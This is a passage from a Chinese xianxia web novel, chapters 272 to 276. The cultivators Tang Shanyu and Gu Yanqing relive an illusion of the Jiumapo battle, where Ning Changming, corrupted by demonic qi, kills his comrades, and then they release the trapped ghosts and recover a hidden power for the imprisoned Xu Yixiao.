“放心,我们在那里和魔族打了好几次,这次肯定和之前那样把他们给打回去!”苏岭月见唐山玉沉默,以为人是怕了就出口安慰道:“实在不行,我带你?” 原来打了很多次啊。 也是……怎么可能一上来就王炸呢…… 不,这非常有可能。 总不能其他大大小小战役都弄个幻境吧,看来只能是那个重要的酒马坡战役。 “…好啊。”唐山玉笑眯眯地答应了,然后他又问了几个问题,苏岭月虽然不知道为什么这孩子问那么基础的问题,但还是一一回答了。 最后,在唐山玉的强烈夸夸下,苏岭月满意地走出了帐篷,可他略一走出来,似乎感应到了什么往某个方向看去。 然而那里什么也没有,只有树梢上那对相互依靠的鸟儿。 “…错觉?”苏岭月晃了晃脑袋,然后转身离开。 也在这个时候,唐山玉的帐篷里迎来了客人,顾延清来到了座位上自然地坐下了,然后抬眸看了一眼唐山玉:“你是在哪里找到这个的?” “我因为你松力才进来的,问题要我先问。”唐山玉抱臂地坐了下来,他的态度可比方才要自然不少:“你是感应到师…祖的灵力才进来的吗?” 幻境没有拦住他把那个称呼说出来。 “嗯。”顾延清点了点头,然后说:“而且除去师父的灵力外,还有许多混杂的灵力包裹此处,而其中好像还有旁的东西在。” “你能感觉到?”唐山玉有些惊讶,连忙问道:“在哪里?” “它并未出现,不好找,得等这场幻境结束才能寻出来。”顾延清摇了摇头,表示自己只能感觉到什么。 这么说起来这俩主角都能感觉到其他人感觉不到的东西,是因为他们是主角,还是旁的缘故呢…… 唐山玉略微思索了一下然后把自己寻找神明力量的事情和顾延清说了,还有那个青火前辈,在说到青火前辈的事情后顾延清肉眼可见地皱了一下眉。 “顾师伯,你们当初和那个前辈关系很好?”唐山玉继续好奇地问之。 “算不上,只是有过一段缘,游历期间偶尔会些宗门发布的任务,我们一起接了个斩除妖兽的任务。”顾延清一边说着一边回忆起往事:“相处得还算不错,彼此也交换了真名。” “关于许一笑在断恶庭的事情我也略有耳闻,当初我只当是同名同姓,没想到居然会是他……”顾延清顿了顿然后说:“他只是一介散修,身后也没什么可以替他撑腰,而我们当初因为建立门派的事宜非常忙碌。” “因为没有联系,他就被我们所遗忘了。”顾延清说到这里叹了口气:“在修仙者里,这是常有的事。” “世上有各种各样的意外,其中散修殒命数量是最多的,因为他们背后没有人可以撑腰,他们靠的只有自己,身家性命能不能握在手里全看自身实力。” “这样啊……”唐山玉点了点头表示自己知道了:“那顾师伯认为他的话可信吗?” “七八分,剩下几分不过是对他的理智是否尚存保持怀疑。”顾延清那么说着,然后抬起头看了一眼帐篷门口:“你可知当年的酒马坡战役为何会如此残酷吗?” “弟子不知,还请宗主指教。”唐山玉拱手一礼,把上课礼节给做了个遍。 “…不必如此。“顾延清微微扶额,然后继续说:“当年有宁晏二人镇守最为激烈的中心战场,还有李辛贺等几人辅助,自当无往不胜,可这其中却出了意外。” “什么意外?我看过的书上并没有说过。”唐山玉认真想了想,就差把脑子掏出来翻找了。 “…你们不知道也是自然。”顾延清顿了顿,然后说:“这个意外极少人清楚,因为据说在当时,宁长鸣他……用长枪刺穿了晏明心的胸膛,而晏明心为了反击也用长剑刺穿了宁长鸣的喉咙,至此,两位前辈互相残杀自死,而此中心战场也因两位的陨落而快速沦陷。” “因为俩人死去快速沦陷?不只吧?那也太快了,其他人是吃白饭的?”唐山玉直言不讳:“我听说那个时期有很多天才都投身于这个战场里,这只是其中之一吧。” “……是。”顾延清叹了口气,随后将视线投到外头,在那边,风铃正在随风晃着:“因为宁长鸣除了攻击晏明心外,还攻击了其他人,而晏明心是为了阻止他。” 一个强者对自己人大开杀戒是始料未及的。 所以才是残酷吗? 唐山玉沉默了一下,点头:“我明白了,所以只要等这个幻境结束就可以了吗?” “应该。”顾延清给唐山玉解释完后就和人说起自己的事情:“等帮你把那力量找到后,我就去把那剑取来。” “剑吗?我就说他干嘛对我那么好,原来不是看上我了,是看上你了啊。”唐山玉恍然大悟,然后他伸手一指,这话语中甚至颇有几分奇怪。 “……”这么说好像倒也正确,但是顾延清总觉得人是故意把话说得那么奇怪的。 “对了,你怎么是趁着师祖离开才过来的?不见见吗?我试过了这个幻境会自我修正的,你不用担心自己身份不明。”唐山玉瞥了这人一眼,手指无聊地敲了敲桌面。 “……还不是时候。”顾延清别过头去,不看唐山玉,而唐山玉难得在人身上察觉到一丝躁意。 “好了好了,我不说这个了。”唐山玉抬起手投降似地笑了笑:“总之等到明天就行了,不过我有点担心外边的时间。” “黄粱一场,不过一瞬。”顾延清示意唐山玉不用过于担心:“在那之前,我会一直在你身边护好你的。” “哇,谢谢顾师伯。” …… 晚上。 唐山玉盖着被子躺在床上,他旁边坐了睁眼看他的顾延清。 唐山玉:…… “顾师伯,你要不要也睡一下。”唐山玉想哭,但是秦兰时不在身边他也哭不出来。 “嗯?无妨,我不用睡觉,山玉你睡你的就好了。”顾延清淡定无比地看了一眼外头的夜色。 纯粹只是想睡觉做个好梦的唐山玉突然觉得用修仙者体质通宵也不是不行。 “我觉得我还是不睡了……”唐山玉说完这话就坐了起来,他侧个头看去,就这样和顾延清四目相对,并且大眼瞪小眼的。 唐山玉沉默,唐山玉淡定地看,唐山玉努力让自己不要被看倒。 顾延清平静,顾延清平静地盯,顾延清神情自若地看着唐山玉。 …… 还是睡觉吧。 这样坐一晚上好像也不太行。 至少睡觉可以麻痹自己忽视这赤裸裸的目光。 于是唐山玉重新盖好了被子,再次努力入眠。 第273章 一声前辈 唐山玉不是在祥和的早上起来的,而是又在一片混乱里起来的,他睁开眼,发现床已经没有了,剩下的只有弥漫满天的硝烟,还有硬邦邦的土地。 漫天的杀意,愤怒的叫喊声,还有那周身的滚烫,他似乎在战场的中心? …… 睡个觉连地都换了,这是生怕他们去改变剧情吗?这和秦兰时谢璟那边的情况类似啊,都是那么的让人不爽。 “顾师伯?顾师伯?”唐山玉一边喊一边准备起来的时候,突地,一把长枪狠狠地穿破黑烟,直直地割断了唐山玉脸旁的几根发丝。 唐山玉:…… 夭寿啦!这个幻境居然真的能伤人! 他的头发!!! 唐山玉起来的速度加快了,并且转过身,就要往战场外头跑去,还没跑几步呢,眼前一道人影缠绕着黑烟飞了过来,直直地砸在他面前不远处的地上。 定眼一看,一位白衣的女子捂着身上的伤口坐于地上,她嘴角边还残留着未擦去的血,她手上拿着柄漂亮的银剑,剑上闪烁着蓝色的灵力。 “快……”那女子看到唐山玉后颤着声开口,她挣扎着想要起身,努力用剑撑着地而立。 “快…走…!” 话音刚落,唐山玉转头看去,发现那柄长枪不知道什么时候被人稳稳地拿在手上,并且转了个漂亮的枪花,然后足尖发力,其枪来势汹汹,似有破万军之势。 唐山玉猛地举起剑挡住,刹那间,哐当一声亮响,他感觉到自己的整个手臂被这个攻击给震麻了,差点要握不住剑了。 抬头看去,只见那男子手上拿着长枪,眸里的神采并未被火光照耀出来,细看下似乎有什么黑气在眼里一闪而过。 唐山玉心里大骇,当即明白这人怕是被什么东西给操控了,下一刻,那男子又转动起手腕,以一个极为巧妙的力卸掉了唐山玉的剑,至此剑离手,唐山玉手无寸铁。 长剑于空中飞舞了几圈,稳稳地插在一旁的地面上。 “…顾………”唐山玉看到那男子再次举起长枪,打算再次进攻,这次唐山玉手上没有东西挡,只能拿出兜里的符纸,可他嘴上依旧不停地呼唤大腿的名字。 符纸打出去,可那男子对于这符纸只是轻飘飘地一个歪头,并且用指尖弹开了它。 这人果真不负当年天才之名。 眼见那长枪随着急风而来就要把唐山玉给捅了个穿,唐山玉当即举起手臂想要护住自己,并且闭上眼喊: “顾延清!!!你再不过来我就被捅成肉串了!!!” 就在这时,在唐山玉迫切的呼唤下,一柄剑挡住了这攻击,剑上隐隐约约闪烁着些许金光,其中混了几抹淡淡的青荧。 这一次,这把剑稳稳地挡住了对方的攻击,对方似乎有些意外,紧接着,那剑一个发力击开了男子拿长枪的手,逼得人往后退了好几步。 唐山玉没有感觉到攻击落在自己身上后才睁开眼,然后他就看到了熟悉的身影,那一刻唐山玉真的想要热泪盈眶了。 “顾师伯!你终于来了!”唐山玉说着,然后趁着顾延清拦住对方的时候瞬间往后退去,直接退去到那白衣女子的附近。 顾延清看了一眼,然后甩了一下剑上的火焰,轻而易举地化解了对方用灵火妄图烧毁剑刃招数,他用手指按住剑,比剑更为夺目的是剑气化出的形,凛冽无比。 那男子这下子用双手握住长枪,看上去似是认真了,随后那枪头燃起了火,细闻似有朱雀鸣声在此间器物中响起。 原来传闻中以前的天才都会用神兽化灵入器这一招啊,可以大幅度提高战斗力。 但是咱们这里也有个天才啊! 想到这里,唐山玉无比自信地看了一眼那边的顾延清,于是开始骄傲起来了:“有顾师伯,区区一个……” 轰隆—— 顾延清被打飞出去了。 唐山玉:? 那你刚刚那么帅气几个意思?! “……被限制了。”顾延清起来了,他看上去没受什么伤,只是在微微皱眉:“看来它不是很想让我赢。” 它? 唐山玉这个时候才想起自己还在幻境里,这个幻境是谁说了算一目了然。 “你不地道啊!我们家天才打你们家天才怎么了!”唐山玉怒了一下,随后注意力被旁边还在咳血的女子转移了。 “你…没事吧?”唐山玉看一眼问道。 “……没事,你是哪家的弟子,快走吧,你们拦不住他的。”女子不知何时站了起来,捂着身上的伤口,手上依旧握着她的剑:“不能再有更多的牺牲了。” “…前辈,前辈您要不还是先……”唐山玉刚想开口说点什么,就听到旁边传来了熟悉的喊声。 “晏前辈!!您还是先走吧!” 是苏岭月。 他不知道什么时候过来,并且一脸着急地看着那女子:“宁前辈很显然已经被魔气所影响,他已经分不清自己在干什么了!这样下去,您也会死的!” “那就让他这样下去吗?”女子嘶哑的声音好似下一刻会吐出血那般:“意岚为了阻止他死了,平风因为魔族的突然袭击去护住大家的时候也死了,如龟则和其他阵修们一起守在营地里,他本就是我们之中攻击力最弱的,若是放长鸣过去,他指定拦不住的。” “苏岭月,回去。”她抬起头,晏明心就这样抬起头直勾勾地盯着苏岭月看:“我会在这里杀了他,你回去让大家赶紧撤离此地。” “我……” “这是命令,回去。”晏明心抬起头,并且用指腹擦去嘴角的血,往前走的步子一顿,许是扯到了伤口,而她吃痛地咬咬牙却是笑了:“我可比那只会耍枪的呆子要聪明得多,我能赢的。” “…我明白了。”苏岭月闭上眼,然后一个转身,拉着唐山玉就要往外头奔去:“你快和我一起走!!!” “等……”唐山玉对着那边的顾延清伸出手,他的大腿还在这里,他不能走啊!! 可还没等他们跑出几步路,那宁长鸣就举着长枪进攻了过来,呼呼的急风击起了一阵热浪袭来,呼了唐山玉满面,而苏岭月也在那个时候立起了一座冰墙,将宁长鸣拦在了后头。 但这个时候的苏岭月并非那能将世间天地灵火都冻住寒岳天尊,于是那长枪击碎了冰墙直直地朝着苏岭月而来,冰块像利刃那般往四周散开,一个个的都狠狠扎在地面上,很快又被后来的火焰所融化。 “……啧。”苏岭月当机立断将唐山玉往旁边一丢,然后举起剑就要迎接而上,他对能不能接住这一招没有半分的把握。 就在这个时候,一柄飞剑先他一步冲到了宁长鸣面前,而随之而来的是不知道什么时候出现在背后的顾延清。 顾延清面无表情地看着这一幕,并且手里也握着一把剑,而他的身后飞着无数把闪烁着金光的利剑。 这是剑阵。 宁长鸣那瞳孔中映着无数把朝自己飞来的剑,还有顾延清那没什么情绪的眼神,唰的一下,又是一场激烈的灰尘扬起,其中还夹杂着几声灵力爆炸的声音。 最后,顾延清拿着剑站在了苏岭月面前,警惕地看着眼前的情况,因为他知道,对方还没死。 “……你?”苏岭月惊疑不定地看着眼前的顾延清,而顾延清也因为这一声抖了一下。 “我怎么不知道我们这里有个那么厉害的道友。”苏岭月眼里流露一抹惊讶,随后又急切地问道:“你看着好像能打得过宁前辈的样子,能吗?” “我……”顾延清动了动嘴唇,他想起了这个幻境得看下去才行,刚刚出手实属是脑子一热的举动,接下来他准备带着唐山玉跑路后在安全的地方等幻境结束。 “前辈!求求你了!!”苏岭月也是个能屈能伸,直接喊道。 这下子顾延清真的整个人僵住了。 “……噗。”本来局势应该很严峻的,但是没有丢飞多远并且自己走过来的唐山玉忍不住在旁边笑出了声。 顾延清面无表情地看了过来。 唐山玉一脸无辜地看过去。 “对不起,但是这真的很好笑。” 而顾延清看得明明白白,此时此刻的唐山玉脸上全无抱歉之意。 第274章 全都要 “你笑什么?”苏岭月不解,苏岭月看过去,然后看到了唐山玉那捂嘴忍笑的模样。 “…抱歉,那个,这个前辈我认识,我和他商量一下,很快的!”唐山玉当即收起了笑容,目前这个情况还很严峻,于是他走上前一把拉过顾延清。 “…我们现在就走。”顾延清被拉过去后就低声说:“现在趁幻境还没被干扰太多,我们先走。” “顾师伯,这是正常的幻境解决方法,但是这是个不正常的幻境,你可还记得我们进来前看见的鬼手吗?”唐山玉摇了摇头,然后开始分析起来:“很显然那个裂缝里除了幻境还有一堆鬼魂在里面。” “…鬼魂因执念而产生的幻境很正常。”顾延清想起这个事叹了口气:“因为无法挣脱,所以它们被留在了此地,可如今时间有限,我们并不能做到将它们全部都渡了。” “是啊,因为执念所产生的幻境……”唐山玉看了一眼那边的苏岭月,还有那不远处还在打架的俩人:“这是一场永不停止的轮回。” 只要幻境还在,这场记忆就会永远持续下去,那场大战的惨烈,一直缠绕在这些鬼魂的心头。 因为放不下,所以就一直想着,痛苦地想着。 而在其中,或许那位的灵魂最为痛苦。 那个亲手断送了整个战役成功的宁长鸣,同时也是杀死自己友人还有崇拜自己修士的宁长鸣。 于火焰里,无声的痛苦愈发地强烈,好似有什么困住了他喉咙,使其无法发出呜咽的泣声。 “顾师伯,他们的结局因为悲剧所以才无法忘怀,如果我们能对此产生变化,那么他们的执念是不是能就此消散?”唐山玉提出了自己的建议,但是说完后他又立马摆了摆手:“当然,我这个只是建议,您比我擅长,我听你的。” “这的确是渡其去轮回的方法之一,但,山玉你有没有想过,为何他们都聚集在这里呢?我们是通过那个裂缝进来的。”顾延清顿了顿,然后说:“很显然,是有人将他们封印于此。” “你知道在战争结束后,人们最先处理的是什么吗?”顾延清认真地看着唐山玉,给其解释道:“是那久久不散的执念,同时也有不甘的鬼魂。” “而人们需要将其渡之,才能去处理战场上的尸体。” “…那你的意思是……”唐山玉顿了顿,然后转头看向那边的情况,俩人的战斗已经极为激烈,伴随着晏明心举起长剑刺穿宁长鸣的喉咙后,她的胸膛也随之被长枪所贯穿。 而看着他们的苏岭月身形也因此发生了些许变化。 下一刻,他们周身场景再次变化,无声的裂痕出现在背景里,一道又一道的,正像那无法痊愈的伤疤。 而在彻底裂开后,它们便化作雪花往外散去,零零碎碎随着风越过他们俩的衣角,往远处飘去,这一遍又一遍的轮回,也不知这百年来到底上演了多少遍。 “他们在当初因为无法在当时被渡,所以才战后的人们将他们留在了这里。”顾延清眼里映着那些雪,看着这些雪他默默闭上眼,像在怜悯什么:“就这样,过了很久很久。” 久到,这世人好像忘记了他们。 “而你师祖也是因此在这里留下了一丝灵力,估计当年的封印他也有参与。” “……师祖没有想过渡他们吗?”唐山玉张了张嘴,想要说什么,最后也没说出来什么。 “…怨气会随着时间不断叠加,等他有能力的时候,这些鬼魂的怨气已经冲天,但凡放过一只,那么都会成为为祸人间的鬼王。”顾延清看了一眼这正在重组的幻境:“而你也知道,灵力稀缺,当今极少人能够修炼到你师祖这般境地。” “…若联合各门派高层其实也有可能,但是人心难测,他们其中有人不愿,耗费精力去渡亡魂是很不值得的事情,有些人还主张只杀不渡,这就导致师父一直迟迟没有解决这件事。” 唐山玉懂了。 这不就是极少人愿意处理麻烦事,然后一直踢皮球的行为吗?而且事情还在可控范围内,也没有人会去断恶庭的底部去动这个该死的封印。 再加上底部就有不少魔物在游荡,能够找到封印已经非常困难,还要不被这些魔物阻拦……… 嗯? “顾师伯你是怎么找到我的?”唐山玉想想自己的黑石虽然能量要耗尽了,但是还有残存啊。 “我没感觉到你。”顾延清摇了摇头:“我只是感觉到这里有其他东西,我想着你可能会去就过来了。” “…你就这样在水底自由穿梭?”不靠那黑石? “对。”顾延清点头。 果然是主角光环。 该死,秦兰时要是那么多年不羡慕嫉妒真的算他无欲无求和心态好了。 唐山玉因为这个天才光环过于闪烁怒了一下,就一下,他果断地拉住顾延清的衣袖:“那我们更要把他们都渡了,而且师祖不是夸过你的天资吗?前无古人,后无来者啊!要不是如今灵力稀缺,你早就飞升成神了。” “想来就是这个世界误了你的仙途。” “…这很难。”连自己师父都做不到的事情,他怎么会做得到呢?顾延清想到这里本能地摇了摇头:“我们还是先回去……” “顾延清。”唐山玉直呼其名,引得顾延清不由得看过去。 “你以后也要这样做出选择吗?就和当初你在谢璟与随清宗弟子们之间做选择那样。”唐山玉想起这件事就觉得头大,并且顺带担心一下在魔域的谢璟。 少年铿锵有力的声音传来,声音坚定无比,好似天塌下来也能扛住那般。 “人啊,偶尔因为贪得无厌地赌一次也未尝不可。”唐山玉说到这里笑了一下:“我可不想再这样无能为力,而且,渡魂让其入轮回和还有镇压这些魔物把他们重新关入底部。” “我们…全都要,不可以吗?” “……”顾延清没有回话。 就在唐山玉以为自己的鸡汤灌输失败的时候,眼前的顾延清才轻轻地嗯了一声。 “不过,这些事……好像都是我去做吧?”顾延清看了过来,直勾勾地盯着唐山玉,好似要把人心里的算盘看穿那样。 “怎么会啊!等我们找到力量后,我会去给那位许前辈送去的!!”唐山玉当即表示自己有干活,天啊,差点被顾延清发现自己摸鱼了:“你放心好了顾师伯,你的身后并不是空无一人啊!” “…我明白了。”顾延清没有继续计较下去,他只是点点头,然后执着剑往前走去:“那我们先解决这里的幻境开始,我们只需要将……” 拿着烈火长枪的男子再次出现在火焰里,还有那道不肯后退的女子身影,执着剑,就那么迎着那火焰而上。 “这里的轮回给打破。” 顾延清并不是不能赢,只是没有必要。 但是如果现在要他赢,那么他定会赢,因为他有这个资本。 唐山玉也是知道这一点才这样鼓励顾延清的,或许在漫漫人生里,总有些人始终走在许多人的前方。 大道长远,唯吾已在尽头。 唐山玉还有闲情逸致地和脑子里的火苗说话:“怎么样?你们这个世界所诞生的主角,是你们所期待的样子吗?” “…什么你们我们,听不懂。”谜语火依旧在谜语。 “哈哈,听不懂就听不懂罢。”唐山玉没有多说什么,但是其中的迹象一一表明了,这顾延清当真是天地眷顾所生,这灵力的纯粹已经让他体内的那抹得来的火蠢蠢欲动了。 而他的火又是从何而来呢? 唐山玉笑了笑,故作高深地背着手转了个身,不去看后边的灵力爆炸,还有那发挥全力的顾延清。 “主角的实力……”唐山玉这样说着,就在小火苗以为唐山玉要说出什么高深莫测的话的时候,那人接下来的一句差点让小火苗在脑子里踉跄了一下。 “当真是极好的牛马啊。” “……啊!你要做什么!”小火苗怒了一下。 “没什么,好了,快点感知那个力量在哪里,我要趁幻境全心全力对付顾延清的时候去偷走。”唐山玉开始催促小火苗干活了:“你也不想这个力量摆在这里无人问津吧。” 小火苗气了一下,然后就开始干活了。 唐山玉顺着火苗所说的方向寻过去,发现那力量所在的地方是营地的中心,这里什么也没有,只有平坦的地,还有一朵石头里生长的小花,而唐山玉站在这里若有所思,最后他开始挖起了土。 “在哪在哪?为什么这里只有土,什么都没有。”唐山玉觉得自己不能摸鱼太过,还是要稍微勤奋点才可以:“你是不是感觉错了?” “没有!我很确定就是在这里!”小火苗急得在识海里蹦蹦跳跳。 “可我看不到啊!看不到啊!”唐山玉越挖越深,最后他从深坑里出来,也不填一下。 “不是土里还能是哪里?”唐山玉坐在地上沉思着,紧接着,他感觉到四周的幻境灵力开始消散,估计是那边顾延清赢了。 他要是不趁机找到的话,也不知道那力量会不会随着幻境的消散移形换影了。 唐山玉努力地想,看看这里到底都有什么,只有花,石头,土还有他刚刚挖的坑……嗯?花? 唐山玉一愣,看向那边的花,它生得极好,自石头里长出的漂亮花朵足以证明它那旺盛的生命力。 于是,唐山玉对此伸出手,碰了这朵小花一下。 刹那间,眼前一阵清明,好似有什么记忆钻入了他的脑子里,像一条游鱼,跃入他的识海里,泛起阵阵属于记忆的涟漪。 宁长鸣举着酒和大家喝酒喝得醉醺醺还硬要喝的模样,晏明心捂嘴笑着坐在他身边,眼神时不时往那人身上看去。 李意岚在一旁弹着琴,琴音清脆,曲声悠扬,而贺平风则站起来,借着酒把耍起他那把长刀。 辛如龟比较沉默,但是那含笑的双眸一直停留在这些欢声笑语的人们身上,最后,他举起杯中酒一饮而尽。 而这其中也有苏岭月,他学着敬仰的前辈喝了口酒,但是却被辣得直吐舌头,只能通过旁边的糕点缓解一下这呛人的醉意。 在这里,还有还有很多很多……少年们在其中举着酒杯,敬天地,醉花丛,朗笑间夸其收割多少魔头,还多少天地太平。 这是何等的畅快。 最后的最后,是一位长相与晏明心酷似的女子含着泪捧起这朵花,她身后站了不少人,不少在其中活下来的人。 而苏岭月也在其中,他就这样看着,和其他人一样露出悲伤的表情。 “姐姐……”女子这样唤着,其声的哽咽似乎已经忍耐已久:“等我,你会…你们都会解脱的,请等等我……” 最后,花儿落入了静谧的水里,一点涟漪都没荡起。 …… 而这些这些……原来只在这一花里。 唐山玉低下头,取下了这朵小花,那股力量就这样被他所拿走,而幻境也在这个时候崩塌。 恍惚间,他好似又听到了营地间的笑声,还有那刀剑交错的脆响。 唐山玉站了起来,看向远处,那里出现了好几道人影,他们都从这里走来,而这些唐山玉或许认识,或许不认识,是陌生的,也是熟悉的。 他们就这样走来,与唐山玉擦肩而过,唐山玉没有回头客,他们亦是。 最后,顾延清也来到了唐山玉的面前,手上的剑依旧握在手里,他难得有些疲惫,应是用了不少灵力。 “这就解决了?”唐山玉开口问道。 “还没有,怨气还会再度聚集起来。”顾延清摇了摇头,表示这哪有那么简单,毕竟他师父都没能彻底解决:“但是他们现在很开心。” “然后,我打算把他们放出去。”顾延清看了一眼这碎裂的幻境:“他们不能再待在这里了。” “会解决的吗?”唐山玉又问了一句。 “自然。” 这位天才如此肯定说。 第275章 什么!要开大了! 昏暗的牢笼内,青火正在空中慢悠悠地飘着,漫无目的,就像一叶小舟行于漫漫长河里,随波逐流,一直向前。 它要去往何方? 它会在何时到达尽头? 散落的月,映着银河里,被击碎,化作雪,至高处的瀑布垂流而下。 最后,一滴碎月。 落在了少年的脸上,顺着脸颊往下滑去,像银色的泪。 许一笑睁开眼,此时此刻他躺在了地上,锁链困着他的身躯,每动一下都有金咒刺激着他体内的煞气,让他感觉到灵魂上的刺痛。 煞气在自己灵魂待久了,都要变成自己的了。 “…呃。”许一笑发了微弱的声音,青火跃动着,来到了他的身边,而许一笑抬起手触碰了一下,青火顺着他的手掌心蹭了蹭:“乖,那个小修士回来了吗?” 青火晃了晃,表示没有。 “……把这件事摆托给一个修为低的孩子,好像不是很光彩…不过应该会有长辈跟着他的……”许一笑侧躺着戳了戳那青火:“过会和他说句抱歉?不过得有歉礼吧,可在下真的是身无分文。” 青火不会说话,但是继续蹭着许一笑的指尖。 “如果回不来的话……那……”许一笑抿唇,似乎在做什么决定那般,眼里充满了挣扎。 “嘿!惊喜吗!” 就在这时,哐当一声,大门被唐山玉快乐地推开了,而他身后的顾延清深藏功与名地收起了剑,转身就要往其他地方走。 许一笑:? “不愧是顾师伯,找个鬼都那么快,来,许前辈,我给你把力量带过来了,请您过目~”唐山玉抬头看了一眼高台上的,御剑飞到了上边,无视了那下方的黑水和许一笑身上的锁链。 许一笑往门口那边看去,顾延清已经不见人影了,只剩下被剑劈开的封印门。 “…你怎么不让你长辈留下来……”许一笑整个鬼都很茫然,非要说他没有想过唐山玉会这样出场,还以为会回到老地方等他,可唐山玉却这样大大咧咧劈开了门口的封印走进来。 “他去寻剑了,为了镇压那些魔做准备……噢,不是说你做不到,我们得有双重保障。”唐山玉表示他非常相信许一笑,随后他把那朵自幻境里的花拿出来放在了许一笑的手里。 “找到了,这力量被当年的修士用作镇压战场死去的煞鬼了。”唐山玉给许一笑解释了一下,然后就直勾勾地盯着这鬼看:“许前辈,你接下来要怎么做?” “我要将其吸收,然后把外边的魔给喊回来……就算要镇压也得把它们聚在一块吧。”许一笑接过这朵花,探查一番后发现无误后就告诉唐山玉。 “好啊。”唐山玉继续看。 “……你不走吗?接下来这里可不安全,因为到那个时候所有的煞气都会被我集中在这一层。”许一笑抬头看了人一眼,问道:“出去吧,这里有前辈我呢,你这个小辈回去等着就好了。” “…这个时候就摆起长辈架子了。”唐山玉顿了顿,略微皱眉,不过他也依言起身,“那我真的走了?” “……我没钱。”许一笑低眉顺眼的说了那么一句。 “……我也不是那种人。”唐山玉温和地笑了一下:“我只是想说,有没有需要帮忙的,没有我就走了。” “没有。”许一笑摇了摇头,他手里捧着那朵小花,在四周被煞气影响而昏暗的环境里,这朵小花正隐隐约约闪烁着白色的光芒。 唐山玉看了一眼,就走出了门,可走了几步路后,他总觉得心里很不是滋味,可他太过弱小了,他已经做到了他能做到的了。 心安理得地等着最终的结果吧。 …… “顾师伯,你说真的有人能够在那么多的煞气撑住自己的神识而不消散吗?”在回来的路上,唐山玉曾经问过顾延清这样一个问题。 “很难,你是想问许一笑吧?他有这样的毅力我很佩服他,但是应当也差不多到时候了。”顾延清顿了顿,然后说:“我想他应当是想用自身的煞气镇压那些魔回到底部,可那个时候,满座塔的煞气都会集中于那里。” 浓度和那人平时所承受到的不一样。 “所以,很有可能,他最终会变成和那些魔物一样。”顾延清看了过来,眼里带着片刻怜悯:“这就是他的选择,山玉。” “你有助人的怜悯之心是好事,你先前所说的贪心之事我也认可。”顾延清这个时候确确实实像个长辈那样语重心长地和唐山玉说着什么:“但,你要明白,有些人是会选择自己走向自我毁灭的道。” “到那个时刻,我们只需要尊重它。” 就算它的结局或许并不美好。 …… “师父,这样是对的吗?”唐山玉抬起头想要去寻找什么答案,他仰望着此时此刻的牢笼,这里困住了很多很多东西,同时也诞生了很多让人意想不到的奇迹。 他们是如何建立起断恶庭,又是怎样将如此庞大数量的魔物困在这里的。 其中的艰险很难想象。 尽管现在的断恶庭已经不是原来的断恶庭,可它诞生的那一刻的确是为了世间正义。 “……啧,既然这里断恶庭,那就应当恶有恶报的同时,也要善有善报啊。”唐山玉如此不满的说着,他伸出手抚着自己的胸口,这里,曾经有朵连接着他与那人的同心莲,也曾被友人的剑贯穿过流下淋漓的鲜血。 而现在,在这里,有颗心脏,正在鲜活地在里头跳动着。 于是,唐山玉转过头。 …… 与此同时,顾延清也在深处那里找到了那把剑,只一眼他便发现这剑似乎是幻境里那晏明心所拿的那一把。 可其剑的主人早早在酒马坡战役上死去,所以应当并非庭主才是,那么这庭主恐是晏明心亲人或者继承人之类的。 顾延清没有多去想些什么,他拿起剑输入灵力查看了一番,发现这剑身上的灵力所剩无几,唯有一道金色咒印在上面若隐若现。 可能剑本身是被画满了咒印,但随着时间流逝,还有无人问津后,它现在只剩下一道要散不散的咒印。 很显然,那个付尘所想的用剑镇压这些魔物的事情怕是泡汤了。 看来得和他聊聊其他方法了。 不过许一笑那边应当可以做得到……所以先暂且封印住,后边再想方法镇压好了。 顾延清拿着剑,准备去找唐山玉,然后把人带上去,毕竟这里过会就很危险了,不能让唐山玉继续待在这里。 这是最为稳妥的方法。 “…顾师伯!!!”就在这时,唐山玉的呼喊声在断恶庭里回荡,顾延清垂下眸,掩去眼底的思绪后就将这柄剑握在手上,然后转身去找唐山玉。 “何事?”待顾延清把人找到后,就看到唐山玉站在关闭许一笑的大门口那儿附近徘徊,他在看到顾延清过来后当即眼睛一亮。 “顾师伯,我想到了一个方法,能够让许前辈不会变成那种东西的办法。”唐山玉说着,然后提起了游历里的一件事:“曾经有个叫温如雪联合徐家人一同研究出净魔阵法可以一试,曾经有人为了净化魔气做出的贡献可以用到这里。” “煞气与魔气同源,所以自然能够被净化。” “净魔法我也知道,可那一道咒文只能净化一次魔气。”顾延清看着唐山玉,一字一句地问着:“你一人,能写那么多咒文,净化那么多魔气吗?” “顾师伯,我不是说过吗?你的身后并非空无一人,而我也是同理。”唐山玉笑了一下,他后退一步,对顾延清行了个弟子礼:“弟子自然知晓此事难成,但还请宗主许我一试。” “我已在许前辈附近画好了传输法阵,并且传信于外头的友人让他们立阵帮我画净魔咒文传输进来。”唐山玉说出自己的想法,“而我会在这里画咒文的同时维护这个阵法,当然顾师伯可以不用担心我的安危,且不说我身上的黑石,毕竟哪有魔会特地往能被净化的地方跑呢?” 在那个时候,唐山玉所在的阵法内估计全是净化魔气用的咒文,魔物一过去身上的魔气就要被净化个彻底了,这种法子类似于剥夺修士灵力的煎熬酷刑。 顾延清看着他,好似又再次听到少年那一句我为何不能全都要。 “……一柱香。”顾延清淡淡开口。 “什么?”唐山玉一愣,不明白顾延清这句话的意思。 “你只需要维持一柱香。”顾延清那么说着,然后拿着剑,转身往外边走去:“不会让你等太久,我保证。” 顾延清似乎下定了某种决心。 他拿着剑,往外走去。 如果顾延清的师门在场,估计会发出一声大叫,其中秦兰时所说的话更加直白易懂:天啊,顾延清,你要开大了吗! 第276章 渡天下 在画阵法的时候唐山玉心里一直在问自己,自己这样拼命值得吗?自己做的这一切到底有什么意义? 他曾有三问欲问那黄先生,问那有着徐承年记忆的傀儡,问问这些坚持了许久的凡人们。 本是交易来的三问,唐山玉自然打好了腹稿,但直到最后的时候,唐山玉都没有问出来。 现如今,当初的疑问随着唐山玉在做的事情愈发地强烈,那个时候的自己想过壮志凌云志,也有庇护天下之念,豪气地一挥,仿佛这天下尽是太平人间。 尽管所行之事皆有正义之举,众人俱露欢颜,但唐山玉的心里却一直有着疑问,这些问题其实一直围绕在自己心头,经过自己的反复解答和反驳,问题的答案越来越多,可随之而来的意义也愈发地虚无。 唐山玉能够非常好地给出一个让所有人满意的答案,答案无非是义之一字,其中的言语大义凛然得让人觉得有些许虚假。 他能理解那些大义凛然且走在前方的人,也能理解那些抛却大义的人,其中的是非对错很难分个究竟。 一问,若是付出了那么多回报而来的结局不是自己想要的怎么办? 二问,为何众人所求的大义偏偏就是正确的? 三问,凭什么是你? 这三问存于心里,唐山玉直到那傀儡消散于阳光里都没有问出来。 为什么不问呢? 可能是答案已经给出来了。 那么,他如今为何会想起这些问题呢? 